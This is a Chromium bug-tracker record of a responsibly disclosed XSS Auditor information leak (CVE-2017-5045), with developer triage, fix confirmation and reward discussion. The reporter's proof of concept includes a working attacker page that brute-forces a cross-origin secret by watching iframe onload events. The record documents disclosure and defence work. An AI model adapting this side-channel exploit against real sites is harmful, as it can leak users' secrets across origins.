Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Issue 667079 Security: Information Leak through XSS Auditor
Starred by 1 user Reported by dhavalka...@gmail.com, Nov 19 2016 Back to list
Status: Fixed
Merged: issue 396544
Owner:
Closed: Jan 5
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security



Sign in to add a comment
VULNERABILITY DETAILS

Attackers can exploit the XSS Auditor's blocking mode in leaking information of any webpage from a different origin. Consider the following script in a webpage with origin different from that of the attacker:

<script>var key=719</script>

If this webpage sets the X-XSS-Protection header to '1; mode=block', an attacker can find this key for any user. All he/she has to do is make a webpage that loads different URLS such as the one mentioned below in an iframe:

http://victim/#<script>var%20key=XXX

Where 'XXX' can be brute forced by providing all possible numbers. When 'XXX' equals to '719', the XSS Auditor gets triggered and blocks the page. This prevents the iframe's onload event handler to be called. By checking whether this event handler is called or not, the attacker can retrieve the 'key' of the user.

A possible fix to this issue can be that even when the page is blocked by the Auditor, the 'onload' event be called.


VERSION
Chrome Version: [54.0.2840.71] + [stable]
Operating System: [Ubuntu 14.04]

REPRODUCTION CASE

// victim.php
----- POC ---------------------------------------------------
<?php
header('X-XSS-Protection: 1; mode=block');
?>
<html>
  <head>
    <script>var key=719</script>
  </head>
  <body>
  </body>
</html>
-------------------------------------------------------------


// attacker.html
-------------------------------------------------------------
<html>
  <head>
    <script>

      var urlPrefix = "http://localhost/victim.php#<script>var%20key=";
      var start = 700;
      var end = 800;
      var flag = {};
      var ctr = 0;

      function crack()
      {
        var iframeDiv = document.getElementById("iframeDiv");
        for(var i = start;i<=end;i++)
        {
          flag[i] = false;
          // Creating iframe
          var iframe = document.createElement("iframe");
          iframe.src = urlPrefix + i;
          iframe.id = i;
          iframe.style.width = "1px";
          iframe.style.height = "1px";
          iframe.onload = iframeOnloadHandler;
          iframeDiv.appendChild(iframe);
        }
      }

      function iframeOnloadHandler()
      {
        var iframe = this;
        var i = iframe.id;
        iframe.parentNode.removeChild(iframe);
        flag[i] = true;
        ctr += 1;
        if(ctr==(end-start))
          outputKey();
      }

      function outputKey()
      {
        var contentDiv = document.getElementById("content");
        for(var i = start;i<=end;i++)
        {
          if(flag[i]!=true)
            contentDiv.innerText = "Key found: " + i;
        }
      }

    </script>
  </head>
  <body>
    <button onclick="crack()"/>Crack Key</button> <br />
    <div id="iframeDiv"></div> <br />
    <div id="content"></div> <br />
  </body>
</html>
-------------------------------------------------------------

 
Comment 1 by meacer@chromium.org, Nov 21 2016
Cc: tsepez@chromium.org
Mergedinto: 396544
Status: Duplicate
Thanks for the report, I believe this is a duplicate of  bug 396544 .
Comment 2 by meacer@chromium.org, Nov 21 2016
Components: Blink>SecurityFeature
Hi, the vulnerability is different in both of these. However, the effect are same. The vulnerability mentioned in 396544 has already been patched. This is a new one.
Comment 4 by tsepez@chromium.org, Nov 28 2016
Cc: mkwst@chromium.org
Owner: tsepez@chromium.org
Status: Available
Comment 5 by tsepez@chromium.org, Nov 28 2016
This still requires brute force, as far as I can tell.  In other words, the entire key must be guessed, not just a leading prefix.  Still, we'd like to fix this.
Comment 6 by tsepez@chromium.org, Nov 28 2016
Labels: Security_Severity-Low Security_Impact-Stable
Comment 7 Deleted
Comment 8 by tsepez@chromium.org, Nov 28 2016
Labels: -Security_Severity-Low Security_Severity-Medium
Labels: OS-All
Comment 10 by mkwst@chromium.org, Nov 29 2016
Have you tried this against Canary? We changed the blocking behavior in https://codereview.chromium.org/2425663002, and based on some quick experimentation, it appears that a `load` event is indeed fired. Perhaps I'm misunderstanding your PoC, however.
Project Member Comment 11 by sheriffbot@chromium.org, Nov 29 2016
Labels: M-55
Project Member Comment 12 by sheriffbot@chromium.org, Nov 29 2016
Labels: Pri-1
Project Member Comment 13 by sheriffbot@chromium.org, Nov 29 2016
Status: Assigned
Unfortunately, I only have access to a Linux machine for now and Canary is not supported in linux. What I understand from the patch is that an error page is loaded instead of showing a blank page.

If a `load` event is indeed fired, it should probably fix the bug. Someone will have to test that thoroughly.
Project Member Comment 15 by sheriffbot@chromium.org, Dec 13
tsepez: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 16 by sheriffbot@chromium.org, Dec 28
tsepez: Uh oh! This issue still open and hasn't been updated in the last 29 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Comment 17 Deleted
Labels: reward-topanel
The rewards program panel reviews bugs for eligibility as part of preparing to roll out the fix. Unfortunately this one isn't there yet.
Can we confirm that https://codereview.chromium.org/2425663002 fixed the issue?
Hi, I installed Windows 10 and Google Chrome Version 57.0.2972.0 canary (64-bit)

My POC didn't work and an 'onload' event was indeed fired. So I guess that that this does fix the issue in Canary but not in the stable version.

Status: Fixed
Thanks.
Project Member Comment 22 by sheriffbot@chromium.org, Jan 6
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Project Member Comment 23 by sheriffbot@chromium.org, Jan 8
Labels: Merge-Request-56
Project Member Comment 24 by sheriffbot@chromium.org, Jan 9
Labels: -Merge-Request-56 Hotlist-Merge-Approved Merge-Approved-56
Your change meets the bar and is auto-approved for M56. Please go ahead and merge the CL manually. Please contact milestone owner if you have questions.
Owners: amineer@(clank), cmasso@(bling), gkihumba@(cros), bustamante@(desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: -reward-topanel reward-unpaid reward-500
Hi dhavalkapil@!  Thanks very much indeed for the report.  Our panel took a look at this and determined that we would have fixed this as part of bug 654794 even without this report.  As such this falls outside the VRP, I'm sorry to say.  However the panel used their discretion to reward $500.  A member of our finance team will be in touch with the details of getting the payment to you, which will get you in the system and make it quicker to pay you if you're rewarded for more bugs in the future :-)
Thank you team :) Let me know when I can make this exploit public.
Labels: -Hotlist-Merge-Approved -Merge-Approved-56 Merge-Rejected-56
dhavalkapil@ - do you have a time/forum in mind where you'd like to talk about the exploit? It's a little more tricky than normal as it doesn't look like our mitigation is due to ship until M57 which would be mid March.
I was planning to post about it on my blog. Never mind, I'll wait till it ships.
Labels: -reward-unpaid reward-inprocess
Labels: M-57 Release-0-M57
Labels: CVE-2017-5045
Project Member Comment 33 by sheriffbot@chromium.org, Apr 14
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Sign in to add a comment